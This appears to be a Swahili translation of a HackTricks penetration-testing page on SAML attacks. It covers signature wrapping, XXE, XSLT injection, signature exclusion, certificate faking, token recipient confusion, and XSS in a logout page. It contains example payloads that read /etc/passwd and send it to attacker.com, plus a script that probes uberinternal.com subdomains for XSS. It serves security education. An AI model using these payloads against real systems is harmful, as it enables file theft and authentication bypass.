hacktricks/pentesting-web/saml-attacks
2024-02-11 02:13:58 +00:00
..
README.md Translated to Swahili 2024-02-11 02:13:58 +00:00
saml-basics.md Translated to Swahili 2024-02-11 02:13:58 +00:00

Mashambulizi ya SAML

Mashambulizi ya SAML

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Zana

SAMLExtractor: Zana ambayo inaweza kuchukua URL au orodha ya URL na kuchapisha URL ya kula SAML.

Mzunguko wa XML

Katika XML, sehemu iliyosainiwa ya XML imehifadhiwa kwenye kumbukumbu, kisha kuna uendeshaji wa encoding/decoding na saini inakaguliwa. Kimsingi, uendeshaji huo wa encoding/decoding haipaswi kubadilisha data lakini kulingana na hali hiyo, data inayokaguliwa na data halisi zinaweza kutofautiana.

Kwa mfano, angalia nambari ifuatayo:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kukimbia programu dhidi ya REXML 3.2.4 au toleo la awali kutatoa matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

Hii ndivyo REXML ilivyoona hati ya XML asili kutoka kwenye programu hapo juu:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Na hii ndivyo ilivyoiona baada ya mzunguko wa kuchambua na kuhifadhi:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Kwa habari zaidi kuhusu udhaifu na jinsi ya kuitumia:

Mashambulizi ya Kusainiwa kwa Alama ya XML

Katika mashambulizi ya Kusainiwa kwa Alama ya XML (XSW), wahalifu hutumia udhaifu unaojitokeza wakati hati za XML zinapitishwa kupitia hatua mbili tofauti: uthibitishaji wa saini na wito wa kazi. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa usahihi, mshambuliaji anaingiza vipengele vilivyodanganyifu ambavyo havidhuru uhalali wa Saini ya XML. Udanganyifu huu unalenga kuunda tofauti kati ya vipengele vinavyochambuliwa na mantiki ya programu na vile vilivyochunguzwa na moduli ya uthibitishaji wa saini. Kama matokeo, wakati Saini ya XML inabaki kuwa halali kiufundi na kupita uthibitishaji, mantiki ya programu inachakata vipengele bandia. Kwa hivyo, mshambuliaji anapita kwa ufanisi ulinzi wa uadilifu na uthibitisho wa asili wa Saini ya XML, kuruhusu uingizaji wa yaliyomo yoyote bila kugundulika.

Mashambulizi yafuatayo yanategemea chapisho hili la blogi na karatasi hii. Kwa hivyo angalia hizo kwa maelezo zaidi.

XSW #1

  • Mbinu: Kipengele kipya cha mzizi kinachojumuisha saini kinazidishwa.
  • Athari: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu -> Kuthibitisha -> Subjekti" halali na "Jibu mpya -> Kuthibitisha -> Subjekti" ya mshambuliaji, ikisababisha masuala ya uadilifu wa data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Tofauti na XSW #1: Inatumia saini iliyotenganishwa badala ya saini iliyofungwa.
  • Athari: Muundo "mbaya", kama XSW #1, unalenga kuwadanganya mantiki ya biashara baada ya ukaguzi wa uadilifu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Mbinu: Kuthibitisha mbaya imeundwa kwenye kiwango sawa cha muundo kama kuthibitisha asili.
  • Athari: Inalenga kuchanganya mantiki ya biashara ili kutumia data ya udanganyifu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Tofauti na XSW #3: Kuthibitisha asili inakuwa mtoto wa kuthibitisha iliyodondolewa (mbaya).
  • Athari: Kama XSW #3 lakini inabadilisha muundo wa XML kwa njia kali zaidi.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Jambo la Kipekee: Wala Saini wala Kuthibitisha asili hazifuati usanidi wa kawaida (uliofungwa/uliofungwa kwa bahasha/uliotenganishwa).
  • Athari: Kuthibitisha iliyokopishwa inafunika Saini, ikibadilisha muundo uliotarajiwa wa hati.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Mbinu: Kuingizwa kwa eneo sawa kama XSW #4 na #5, lakini na mabadiliko.
  • Athari: Kuthibitisha iliyokopishwa inafunika Saini, ambayo kisha inafunika Kuthibitisha asili, ikiumba muundo wa udanganyifu ulioingizwa.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Mbinu: Kipengele cha Vipengele kinaingizwa na Kuthibitisha iliyokopishwa kama mtoto.
  • Athari: Hii inatumia mpango wa vikwazo dhaifu wa Vipengele kwa kuepuka hatua za uthibitisho wa mpango, haswa katika maktaba kama OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Tofauti na XSW #7: Inatumia kipengele kingine cha XML chenye vikwazo dhaifu kwa aina nyingine ya shambulio.
  • Athari: Kuthibitisha asili inakuwa mtoto wa kipengele chenye vikwazo dhaifu, ikibadilisha muundo uliotumiwa katika XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Zana

Unaweza kutumia kifaa cha Burp SAML Raider kuchambua ombi, kutumia shambulio lolote la XSW unalochagua, na kulitekeleza.

XXE

Ikiwa haujui aina gani ya mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Majibu ya SAML ni hati za XML zilizopondwa na kubadilishwa kuwa msingi wa64 na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Majibu ya SAML, wahalifu wanaweza kujaribu kutumia udhaifu wa XXE. Hapa ndivyo mashambulizi kama hayo yanavyoweza kuonekana:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Vifaa

Unaweza pia kutumia kifaa cha Burp kinachoitwa SAML Raider kuunda POC kutoka kwa ombi la SAML ili kufanya majaribio ya uwezekano wa udhaifu wa XXE na udhaifu wa SAML.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa habari zaidi kuhusu XSLT, nenda:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Extensible Stylesheet Language Transformations (XSLT) inaweza kutumika kubadilisha hati za XML kuwa muundo tofauti kama vile HTML, JSON, au PDF. Ni muhimu kutambua kwamba ubadilishaji wa XSLT hufanyika kabla ya uthibitisho wa saini ya dijiti. Hii inamaanisha kuwa shambulio linaweza kuwa na mafanikio hata bila saini halali; saini iliyosainiwa na mtu binafsi au saini isiyofaa ni ya kutosha kuendelea.

Hapa unaweza kupata POC ya kuchunguza aina hii ya udhaifu, katika ukurasa wa hacktricks uliotajwa mwanzoni mwa sehemu hii unaweza kupata mizigo ya kujaribu.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Zana

Unaweza pia kutumia kifaa cha Burp kinachoitwa SAML Raider ili kuzalisha POC kutoka kwa ombi la SAML ili kufanya majaribio ya udhaifu wa XSLT.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

Uondoaji wa Saini ya XML

Uondoaji wa Saini ya XML unachunguza tabia ya utekelezaji wa SAML wakati kipengele cha Saini hakipo. Ikiwa kipengele hiki hakipo, uthibitisho wa saini huenda usitokee, na hivyo kuwa na udhaifu. Inawezekana kufanya majaribio haya kwa kubadilisha maudhui ambayo kawaida huthibitishwa na saini.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Zana

Unaweza pia kutumia kifaa cha Burp kinachoitwa SAML Raider. Kukamata Jibu la SAML na bonyeza Ondoa Saini. Kwa kufanya hivyo, vipengele vyote vya Saini vitaondolewa.

Baada ya kuondoa saini, ruhusu ombi kuendelea kwa lengo. Ikiwa Saini haihitajiki na Huduma

Udanganyifu wa Cheti

Udanganyifu wa Cheti ni mbinu ya kujaribu ikiwa Mtoa Huduma (SP) anathibitisha kwa usahihi kuwa Ujumbe wa SAML umesainiwa na Mtoa Huduma wa Kitambulisho (IdP) anayeaminiwa. Inahusisha kutumia *cheti kilichojisaini kusaini Jibu la SAML au Kauli, ambayo husaidia katika kutathmini mchakato wa ukaguzi wa uaminifu kati ya SP na IdP.

Jinsi ya Kufanya Udanganyifu wa Cheti

Hatua zifuatazo zinaelezea mchakato kwa kutumia kifaa cha Burp kinachoitwa SAML Raider:

  1. Kamata Jibu la SAML.
  2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kifungo cha Tuma Cheti kwa SAML Raider Certs.
  3. Katika kichupo cha SAML Raider Certificates, chagua cheti kilichosafirishwa na bonyeza Hifadhi na Jisaini Kibinafsi ili kuunda nakala iliyosainiwa kibinafsi ya cheti halisi.
  4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya kilichojisaini kutoka kwenye orodha ya kunjuzi ya Saini ya XML.
  5. Ondoa saini zilizopo kwa kubonyeza kifungo cha Ondoa Saini.
  6. Saini ujumbe au kauli na cheti kipya kwa kutumia kifungo cha (Re-)Saini Ujumbe au (Re-)Saini Kauli, kama inavyofaa.
  7. Wasilisha ujumbe uliosainiwa. Uthibitisho wa mafanikio unaonyesha kuwa SP inakubali ujumbe uliosainiwa na cheti chako kilichojisaini, kufichua udhaifu wa uchakataji wa uthibitisho wa ujumbe wa SAML.

Utatanishi wa Mpokeaji wa Alama / Utatanishi wa Lengo la Mtoa Huduma

Utatanishi wa Mpokeaji wa Alama na Utatanishi wa Lengo la Mtoa Huduma unahusisha kuhakikisha kuwa Mtoa Huduma anathibitisha kwa usahihi mpokeaji aliyekusudiwa wa jibu. Kimsingi, Mtoa Huduma anapaswa kukataa jibu la uwakilishi ikiwa lilikuwa kwa mtoa huduma tofauti. Kitu muhimu hapa ni uga wa Mpokeaji, uliopo ndani ya kipengele cha SubjectConfirmationData cha Jibu la SAML. Uga huu unabainisha URL inayoonyesha mahali Ambapo Kauli inapaswa kutumwa. Ikiwa mpokeaji halisi haifanani na Mtoa Huduma aliyekusudiwa, Kauli inapaswa kuchukuliwa kuwa batili.

Jinsi Inavyofanya Kazi

Ili shambulio la Utatanishi wa Mpokeaji wa Alama ya SAML (SAML-TRC) liwezekane, hali fulani lazima zikutane. Kwanza, lazima kuwe na akaunti halali kwenye Mtoa Huduma (inayojulikana kama SP-Legit). Pili, Mtoa Huduma uliolengwa (SP-Target) lazima akubali alama kutoka kwa Mtoa Huduma wa Kitambulisho ambaye anahudumia SP-Legit.

Mchakato wa shambulio ni rahisi chini ya hali hizi. Kikao halali kinazinduliwa na SP-Legit kupitia Mtoa Huduma wa Kitambulisho ulioshiriki. Jibu la SAML kutoka kwa Mtoa Huduma wa Kitambulisho kwenda SP-Legit linakamatwa. Jibu hili la SAML, ambalo awali lilikuwa limekusudiwa kwa SP-Legit, kisha linaelekezwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa na SP-Target kukubali Kauli, kuruhusu upatikanaji wa rasilimali chini ya jina la akaunti ile ile iliyotumiwa kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika Kazi ya Kujiondoa

Utafiti asili unaweza kupatikana kupitia kiunga hiki.

Wakati wa mchakato wa kufanya jaribio la kubaini orodha ya saraka, ukurasa wa kujiondoa uligunduliwa kwenye:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Baada ya kufikia kiungo hiki, kuna ukurasa uliendelezwa kuelekea:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Hii ilifunua kwamba parameter ya base inakubali URL. Kwa kuzingatia hilo, wazo lilijitokeza la kubadilisha URL na javascript:alert(123); kwa lengo la kuanzisha shambulio la XSS (Cross-Site Scripting).

Utekaji wa Misaada

Kutoka kwenye utafiti huu:

Zana ya SAMLExtractor iliotumika kuchambua subdomains za uberinternal.com kwa ajili ya domain zinazotumia maktaba ile ile. Baadaye, script ilibuniwa ili kulenga ukurasa wa oidauth/prompt. Script hii inajaribu kwa XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inaonekana katika matokeo. Katika kesi ambapo data inaonekana, script inaashiria ukurasa kama una udhaifu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: